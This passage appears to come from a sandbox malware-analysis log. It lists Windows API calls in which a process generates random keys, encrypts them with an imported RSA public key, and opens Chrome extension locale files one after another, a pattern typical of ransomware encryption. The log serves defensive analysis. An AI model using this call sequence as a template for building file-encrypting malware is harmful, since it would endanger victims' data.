CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.515] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.518] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.518] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.519] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.520] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae378) returned 1 [0240.520] CryptGetKeyParam (in: hKey=0x66ae378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.520] CryptEncrypt (in: hKey=0x66ae378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa8c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa8c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.521] GetLastError () returned 0x0 [0240.521] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.521] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.522] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae178) returned 1 [0240.522] CryptGetKeyParam (in: hKey=0x66ae178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.522] CryptEncrypt (in: hKey=0x66ae178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa8d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa8d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.523] GetLastError () returned 0x0 [0240.523] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.523] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.524] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.528] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.528] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.528] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.532] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.532] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.534] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae078) returned 1 [0240.534] CryptGetKeyParam (in: hKey=0x66ae078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.534] CryptEncrypt (in: hKey=0x66ae078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa8e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa8e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.534] GetLastError () returned 0x0 [0240.534] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.534] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.536] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae578) returned 1 [0240.536] CryptGetKeyParam (in: hKey=0x66ae578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.536] CryptEncrypt (in: hKey=0x66ae578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa8f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa8f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.536] GetLastError () returned 0x0 [0240.536] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.537] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.541] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.541] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.541] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.545] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.545] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.545] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.545] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.547] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae0b8) returned 1 [0240.547] CryptGetKeyParam (in: hKey=0x66ae0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.547] CryptEncrypt (in: hKey=0x66ae0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa900000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa900000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.547] GetLastError () returned 0x0 [0240.547] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.547] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.549] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae678) returned 1 [0240.549] CryptGetKeyParam (in: hKey=0x66ae678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.549] CryptEncrypt (in: hKey=0x66ae678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa910000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa910000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.549] GetLastError () returned 0x0 [0240.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.549] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.550] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.554] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.555] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.555] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.558] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.558] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.559] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.561] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae638) returned 1 [0240.561] CryptGetKeyParam (in: hKey=0x66ae638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.561] CryptEncrypt (in: hKey=0x66ae638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa920000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa920000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.561] GetLastError () returned 0x0 [0240.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.561] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.563] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae778) returned 1 [0240.563] CryptGetKeyParam (in: hKey=0x66ae778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.563] CryptEncrypt (in: hKey=0x66ae778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa930000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa930000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.563] GetLastError () returned 0x0 [0240.563] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.564] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.568] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.568] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.568] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.568] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.572] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.572] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.572] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.572] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.574] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae6b8) returned 1 [0240.574] CryptGetKeyParam (in: hKey=0x66ae6b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.574] CryptEncrypt (in: hKey=0x66ae6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa940000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa940000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.574] GetLastError () returned 0x0 [0240.574] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.574] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.576] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae2f8) returned 1 [0240.576] CryptGetKeyParam (in: hKey=0x66ae2f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.576] CryptEncrypt (in: hKey=0x66ae2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa950000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa950000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.576] GetLastError () returned 0x0 [0240.577] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.577] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.578] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.582] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.582] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.582] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.585] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.585] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.585] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.586] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.588] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae1b8) returned 1 [0240.588] CryptGetKeyParam (in: hKey=0x66ae1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.588] CryptEncrypt (in: hKey=0x66ae1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa960000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa960000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.589] GetLastError () returned 0x0 [0240.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.589] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.590] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae3b8) returned 1 [0240.590] CryptGetKeyParam (in: hKey=0x66ae3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.590] CryptEncrypt (in: hKey=0x66ae3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa970000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa970000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.590] GetLastError () returned 0x0 [0240.590] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.591] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.591] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.594] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.596] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.596] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.596] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.596] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.599] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.599] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.599] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.602] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae1f8) returned 1 [0240.602] CryptGetKeyParam (in: hKey=0x66ae1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.602] CryptEncrypt (in: hKey=0x66ae1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa980000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa980000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.602] GetLastError () returned 0x0 [0240.602] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.602] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.605] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae3f8) returned 1 [0240.605] CryptGetKeyParam (in: hKey=0x66ae3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.605] CryptEncrypt (in: hKey=0x66ae3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa990000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa990000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.605] GetLastError () returned 0x0 [0240.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.605] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.607] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.611] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.614] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.614] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.614] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.620] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: 